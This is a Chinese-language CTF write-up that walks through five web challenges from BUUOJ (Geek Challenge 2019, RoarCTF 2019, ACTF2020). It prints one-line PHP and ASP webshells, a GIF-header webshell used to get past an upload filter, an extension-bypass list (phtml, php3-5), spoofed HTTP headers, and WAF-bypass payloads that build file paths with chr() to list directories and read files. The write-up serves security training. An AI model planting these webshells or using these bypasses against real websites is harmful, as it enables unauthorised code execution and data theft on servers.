11.[极客大挑战 2019]Knife

题目:白给的shell
这道题说是白给了,那就直接冲!
分析一波题目:
拿到题目先看URL再看网页面,四处点击看看有没有什么可点击的地方,然后再看下网页源代码,这是做WEB题的纪律性习惯,没有发现什么线索,那就再来看这段字符串:eval($_POST["Syc"])
这是作为后门用post提交一个字符串Syc,刚好题目名字是Knife,这就不然而然的想起来了-菜刀。
中国菜刀-一般针对一句话木马,短小精悍,隐蔽性好。

asp一句话木马: <%execute(request("value"))%>
php一句话木马: <?php @eval($_POST[value]);?>

由于我用的是Mac,而且我通常习惯用蚁剑,这里我就用蚁剑了。
好了,那就直接开始操作了:

网址:http://0285d5fc-e343-4fb8-9967-5b84468767cb.node4.buuoj.cn:81/
密码:Syc

配置
根目录找到了flag,直接搞定,真的是白给。
网站目录
flag

12.[极客大挑战 2019]Http

题目&招聘信息?
审计源码发现一个Secret.php,这说明啥:做WEB题要有纪律性操作!
源码
点进去网页看看是啥:It doesn't come from 'https://www.Sycsecret.com'
Secret.php
这是提示访问此网站的来源不对,需要我们添加伪协议的请求头,这种体型在Bug-Ku和XCTF平台都有,大家也可以去练练。
考点是对Burp Suite的使用,打开Burp Suite先抓包,然后用Repeater send,返回的就是错误请求头,这里我们改一下。
添加Referer
添加成功了。但是并没有完全成功,这里返回的还有一句话:Please use "Syclover" browser
返回结果
其实就是提示我们浏览器需要使用Syclover,向头里面添加一行,也就是修改一下User-Agent的内容
修改浏览器
emmm还是不行,提示需要我们本地访问,那就继续改。
需要本地访问
成功拿下,这道题很不错,非常推荐新手练习!!!
得到flag

13.[极客大挑战 2019]Upload

题目环境不错嘛
这是一个文件上传的题目,不论从题目名字或者题目环境来看,开始解题吧。
先上传一句话木马试试,这里格式直接不变,先上传看看:

<?php eval($_POST['b'])?>
<?php $_GET['a']($_POST['b'])?>

被发现了
这么一个个改有些许麻烦,这里我就换成Burp Suite
检测出php3
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
但是前几个php格式的都被ban了,将文件改为phtml可以了,但是不能带<?

换个一句话木马:GIF89a? <script language="php">eval($_REQUEST[1])</script>

上传成功!
现在需要知道图片的保存路径了,一般都是upload/filename,访问一下:
访问upload
木马图上传成功了,现在用蚁剑连接!
蚁剑连接
路径就是/upload/filename,密码就是一句话木马中request里面的内容。
连接不成功,测试了几遍不知道哪里出了问题,这里再改一下文件名,再来一个。
搞定
看来不能用英文名,这里我上传了两个:一句话.php和shell666.php
flag

14.[RoarCTF 2019]Easy Calc

环境是一个计算机界面
有一定的错误回显
查看网页源码发现了:calc.php怎么说,纪律性的东西不能少,那就去访问一下。
网页源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

给num参数传字母不行,传数字还是可以的。再看环境一开始的源码有一句绿色的语句:

<!--I've set up WAF to ensure security.-->

WAF的问题:WAF不允许num传入字母,那我们可以在num前加个空格来绕过WAF
这里利用PHP的字符串解析特性来绕过WAF,如:

calc.php? num=phpinfo();

phpinfo
扫根目录下的所有文件,也就是scandir("/"),先别问为什么看我操作,一会我会解释。

? num=print_r(scandir('/'));
这里由于单引号被过滤了,那就用chr()绕过,chr(47)就是斜杠/
? num=print_r(scandir(chr(47)));

![f1agg [8] ][25]
读取f1agg文件:

? num=print_r(file_get_contents('/flagg'));
这里/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)来进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

拿下flag
好了,解出来了,思路是对的,现在我来细说:为什么?

知识点:
1.1 PHP的字符串解析特性:
这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。

例如:/?foo=bar变成Array([foo] => “bar”)

值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。

例如,/?%20news[id%00=42会转换为Array([news_id] => 42)

如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符
2.将某些字符转换为下划线(包括空格)

假如waf不允许num变量传递字母:

http://www.xxx.com/index.php?num = aaaa   //显示非法输入的话

那么我们可以在num前加个空格:

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
1.2 waf
原来waf我们是看不见的,我一直以为题里的源码,就是waf了。并且,waf并不是说,题目是用php写的,那么waf就一定是用php写的。也正因如此,这题的waf才会无法识别“ num”和“num”其实是一样的。
1.3 scandir()
列出 参数目录 中的文件和目录,要不然我们怎么知道flag在哪。
2.1 应用
存在高危漏洞,很明显传递函数,拿flag。
首先我们要先扫根目录下的所有文件,也就是是scandir("/"),但是“/”被过滤了,所以我们用chr(“47”)绕过,发现flagg文件
然后去读取这个文件就可以了,直接放payload:

? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

15.[ACTF2020 新生赛]Upload

上传界面
又是一道Upload,看看有什么区别吧,上一道Upload上传的木马shell666.phtml还在就直接用了。
这里限制了格式,只让上传图片格式,废话不多说直接拿出Burp Suite:
抓包,修改上传格式:phtml,直接上传成功,如果没有成功还可以换其它格式:php3,php4,php5
上传成功
上蚁剑连接:
连接成功
这是我上传的木马图:/var/www/html/uplo4d/
根目录发现flag
还是一样没什么区别,简单粗暴拿下flag。
flag


中秋节,大家中秋节快乐!今天休息半天,告辞。

最后修改:2021 年 09 月 21 日 11 : 17 AM
如果觉得这篇文章不错,不妨赏我碎银几两。